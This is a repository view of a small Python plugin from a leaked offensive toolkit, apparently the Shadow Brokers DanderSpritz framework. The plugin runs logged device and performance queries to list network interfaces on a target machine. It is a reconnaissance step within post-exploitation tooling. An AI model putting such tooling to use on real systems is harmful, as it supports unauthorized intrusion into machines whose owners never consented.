shadowbrokers-exploits/windows/Resources/Ops/PyScripts/overseer/plugins/network_interfaces.py

12 lines
411 B
Python
Raw Normal View History

import dsz
MENU_TEXT = 'List all network interfaces'
def main():
dsz.ui.Echo('Running network interface commands...', dsz.GOOD)
dsz.control.echo.Off()
dsz.cmd.Run('background log devicequery -deviceclass net', dsz.RUN_FLAG_RECORD)
dsz.cmd.Run('background log performance -data NetworkInterface', dsz.RUN_FLAG_RECORD)
dsz.control.echo.On()
if (__name__ == '__main__'):
main()